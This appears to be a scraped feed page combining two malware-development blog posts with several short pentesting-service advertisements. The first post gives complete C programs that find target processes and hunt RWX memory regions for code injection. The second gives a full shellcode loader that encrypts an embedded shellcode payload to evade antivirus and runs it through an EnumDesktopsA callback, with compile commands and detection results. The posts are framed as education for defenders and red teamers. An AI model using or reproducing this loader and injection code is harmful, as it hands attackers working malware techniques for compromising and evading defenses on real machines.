❌

Reading view

There are new articles available, click to refresh the page.

Malware development trick 38: Hunting RWX - part 2. Target process investigation tricks. Simple C/C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

malware

In one of my previous posts, I described a process injection method using RWX-memory searching logic. Today, I will apply the same logic, but with a new trick.

As you remember, the method is simple: we enumerate the presently running target processes on the victim’s system, scan through their allocated memory blocks to see if any are protected with RWX, and then write our payload to this memory block.

practical example

Today I will use a little bit different trick. Let’s say we are search specific process in the victim’s machine (for injection or for something else).

Let’s go to use a separate function for hunting RWX-memory region from the victim process, something like this:

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}

Also a little bit update for our main logic: first of all, we are search specific process’ handle by it’s name:

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}

As you can see, we use NtGetNextProcess API for enumerating processes.

So the final source code is looks like this (hack.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}


int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo

Let’s go to see everything in action. Compile our malware source code:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -w -lpsapi -lshlwapi

malware

And run it at the victim’s machine (Windows 11 x64 in my case):

malware

Try on another target process, for example OneDrive.exe:

malware

Our logic is worked, RWX-memory successfully founded!

As you can see, everything is worked perfectly! =^..^=

practical example 2

But there are the caveats. Sometimes we need to know is this process is .NET process or Java or something else (is it really OneDrive.exe process)?

For .NET process we need interesting trick, if we open powershell.exe via Process Hacker 2:

malware

As you can see, in the Handles tab we can find interesting section with name \BaseNamedObjects\Cor_Private_IPCBlock_v4_<PID>" in our case PID = 3156, so our string is equal \BaseNamedObjects\\Cor_Private_IPCBlock_v4_3156.

So, let’s update our function findMyProc, like this:

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // Check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}

Just convert process id int to UNICODE STRING and concat, then try to find section logic.

Here, NtOpenSection API use for opens a handle for an existing section object:

typedef NTSTATUS (NTAPI * fNtOpenSection)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

So, the full source code for this logic (finding .NET processes in the victim’s system) looks like this:

/*
 * hack2.c - hunting RWX memory
 * detect .NET process
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}



int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo 2

Let’s go to see second example in action. Compile it:

x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

malware

Then just run it. Check on powershell.exe:

.\hack2.exe powershell.exe

malware

Now, second practical example worked as expected! Great! =^..^=

practical example 3

Ok, so what about previous question?

How we can check if the victim process is really OneDrive.exe process? It’s just in case, for example.

Let’s check OneDrive.exe process properties via Process Hacker 2:

malware

As you can see we can use the same trick: check section by it’s name: \Sessions\1\BaseNamedObjects\UrlZonesSM_test1. Of course, I could be wrong and the presence of this string does not guarantee that this is OneDrive.exe process. I just want to show that you can examine any process and try to find some indicators in the section names.

So, I updated my function again and full source code of my third example (hack3.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char *procname) {
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      // check for "\Sessions\1\BaseNamedObjects\UrlZonesSM_test1" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;

      WCHAR objPath[] = L"\\Sessions\\1\\BaseNamedObjects\\UrlZonesSM_test1";
      sName.Buffer = (PWSTR)objPath;
      sName.Length = wcslen(objPath) * sizeof(WCHAR);
      sName.MaximumLength = sName.Length + sizeof(WCHAR);

      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }
  return current;
}

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

As you can see, the logic is simple: check section name and try to open it.

demo 3

Let’s go to see third example in action. Compile it:

x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

malware

Then, run it on the victim’s machine:

.\hack3.exe OneDrive.exe

malware

As you can see, everything is worked perfectly again!

If anyone has seen a similar trick in real malware and APT, please write to me, maybe I didn’t look well, it seems to me that this is a technique already known to attackers.

I hope this post spreads awareness to the blue teamers of this interesting process investigation technique, and adds a weapon to the red teamers arsenal.

Process injection via RWX-memory hunting. Simple C++ example.
Malware development trick - part 30: Find PID via NtGetNextProcess. Simple C++ example.
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!

Get Ahead of Emerging Threats with Horizon3.ai’s Rapid Response Service

In the ever-evolving landscape of cybersecurity, the speed of your response to emerging cyber threats can be the difference between a minor security incident and a catastrophic breach. Horizon3.ai provides you with a strategic advantage by enabling preemptive action in the
steadily shrinking window of time between the public disclosure of a vulnerability and its exploitation in the wild.

The post Get Ahead of Emerging Threats with Horizon3.ai’s Rapid Response Service appeared first on Horizon3.ai.

Fireside Chat: Horizon3.ai and JTI Cybersecurity

Horizon3.ai Principal Security SME Stephen Gates and JTI Cybersecurity Principal Consultant Jon Isaacson discuss:

– What JTI does to validate things like access control, data loss prevention, ransomware protection, and intrusion detection approaches.
– How #pentesting and red team exercises allow orgs to validate the effectiveness of their security controls.
– Why offensive operations work best to discover and mitigate exploitable vulnerabilities in their client’s infrastructures.

The post Fireside Chat: Horizon3.ai and JTI Cybersecurity appeared first on Horizon3.ai.

Malware and cryptography 26: encrypt/decrypt payload via SAFER. Simple C/C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

This post is the result of my own research on try to evasion AV engines via encrypting payload with another algorithm: SAFER. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

SAFER

SAFER (Secure And Fast Encryption Routine) is a symmetric block cipher designed by James Massey. SAFER K-64 specifically refers to the variant with a 64-bit key size. It’s notable for its nonproprietary nature and has been incorporated into some products by Cylink Corp.

SAFER K-64 operates as an iterated block cipher, meaning the same function is applied for a certain number of rounds. Each round utilizes two 64-bit subkeys, and the algorithm exclusively employs operations on bytes. Unlike DES, SAFER K-64 is not a Feistel network.

practical example

For practical example, here is the step-by-step flow of the SAFER-64:

// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];

// SAFER-64 encryption rounds
for (i = 0; i < ROUNDS; i++) {
  T = R ^ key_ptr[i % 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  L ^= (T + R);
  T = L ^ key_ptr[(i % 4) + 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  R ^= (T + L);
}

// update the data block with the encrypted values
data_ptr[0] = L;
data_ptr[1] = R;

So, the encryption function looks like this:

void safer_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = 0; i < ROUNDS; i++) {
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

What about decryption logic? The decryption process is not much different from encryption:

// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];

// SAFER-64 decryption rounds
for (i = ROUNDS - 1; i >= 0; i--) {
  T = L ^ key_ptr[(i % 4) + 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  R ^= (T + L);
  T = R ^ key_ptr[i % 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  L ^= (T + R);
}

// Update the data block with the decrypted values
data_ptr[0] = L;
data_ptr[1] = R;

Respectively, SAFER-64 Decryption Function looks like this:

void safer_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = ROUNDS - 1; i >= 0; i--) {
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

Full source code for my main logic (β€œmalicious” payload encryption) look like this (hack.c):

/*
 * hack.c - encrypt and decrypt shellcode via SAFER. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/04/09/malware-cryptography-26.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define BLOCK_SIZE 8 // 64 bits
#define ROUNDS 6

void safer_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = 0; i < ROUNDS; i++) {
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

void safer_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = ROUNDS - 1; i >= 0; i--) {
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

int main() {
  unsigned char key[] = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  unsigned char my_payload[] =
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

  int len = sizeof(my_payload);
  int pad_len = (len + BLOCK_SIZE - 1) & ~(BLOCK_SIZE - 1);

  unsigned char padded[pad_len];
  memset(padded, 0x90, pad_len);
  memcpy(padded, my_payload, len);

  // encrypt the padded shellcode
  for (int i = 0; i < pad_len; i += BLOCK_SIZE) {
    safer_encrypt(&padded[i], key);
  }

  printf("encrypted:\n");
  for (int i = 0; i < sizeof(padded); i++) {
    printf("\\x%02x", padded[i]);
  }
  printf("\n\n");

  // decrypt the padded shellcode
  for (int i = 0; i < pad_len; i += BLOCK_SIZE) {
    safer_decrypt(&padded[i], key);
  }

  printf("decrypted:\n");
  for (int i = 0; i < sizeof(padded); i++) {
    printf("\\x%02x", padded[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, sizeof(padded), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, padded, pad_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);

  return 0;
}

As you can see, first of all, before encrypting, we use padding via the NOP (\x90) instructions.

As usually, I used meow-meow payload:

"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

For simplicity, I use running shellcode via EnumDesktopsA logic.

demo

Let’s go to see this trick in action. Compile our β€œmalware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

And run it at the victim’s machine (Windows 10 x64 v1903 in my case):

cryptography

cryptography

As you can see, our decrypted shellcode is modified: padding \x90 is working as expected.

Calc entropy and upload to VirusTotal:

python3 entropy.py -f ./hack.exe

cryptography

cryptography

https://www.virustotal.com/gui/file/65c5a47a5c965647f5724e520b23e947deb74ef48b7b961f8f159cdd9c392deb/detection

24 of of 70 AV engines detect our file as malicious as expected.

As you can see, this algorithm encrypts the payload quite well, but it is detected by many AV engines and is poorly suited for bypassing them, but this is most likely due to the fact that a well-studied method of launching the payload is used. if you apply anti-debugging, anti-disassembly and anti-VM tricks, the result will be better.

The Singapore government has considered using SAFER with a 128-bit key for various applications due to its lack of patent, copyright, or other restrictions, making it an attractive choice for widespread adoption.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

SAFER
Malware and cryptography 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

NodeZeroβ„’ from Horizon3.ai Optimized for MSSPs and MSPs

Managed security service providers (MSSPs) and managed services providers (MSPs) tell us that in today’s cyber threat
environment, securing customer environments while still maintaining profit margins and growing adoption of their services is an ongoing challenge. The NodeZeroTM platform enables you to proactively and efficiently probe your customers’ networks for weaknesses that go beyond known and patchable vulnerabilities, such as credentials open to compromise, exposed data, misconfigurations, poor security controls, and weak policies.

The post NodeZeroβ„’ from Horizon3.ai Optimized for MSSPs and MSPs appeared first on Horizon3.ai.

No waiting, no wondering: Streamline your PCI pentesting process with Horizon3.ai

Demand for #pentesting expertise is at an all-time high, and many orgs are struggling to meet their annual requirements for the PCI DSS v4.0. This webinar explains how our services fulfill your pentesting requirements and help you streamline your remediation efforts. You’ll learn about:

– Horizon3.ai’s human-machine teaming approach for compliance pentesting
– How we fully address requirement 11.4 of the PCI DSS and pentesting for the Self-Assessment Questionnaires (SAQs)
– A practitioner’s view of how #NodeZero helps orgs efficiently interpret and remediate their penetration test report

The post No waiting, no wondering: Streamline your PCI pentesting process with Horizon3.ai appeared first on Horizon3.ai.

Horizon3.ai PCI 11.4 Pentesting Engagement

Horizon3.ai delivers sophisticated and timely penetration testing services tailored to fulfill the internal and external pentesting requirements of your cardholder data environment outlined by the Payment Card Industry Data Security Standard (PCI DSS) v4.0. Our offerings are executed with comprehensive coverage and meticulous attention to detail to fully address these stringent pentesting requirements.

The post Horizon3.ai PCI 11.4 Pentesting Engagement appeared first on Horizon3.ai.

Empowering Educational Compliance: Navigating the Future with Autonomous Pentesting in Academia

How Autonomous Pentesting Transformed University Protection

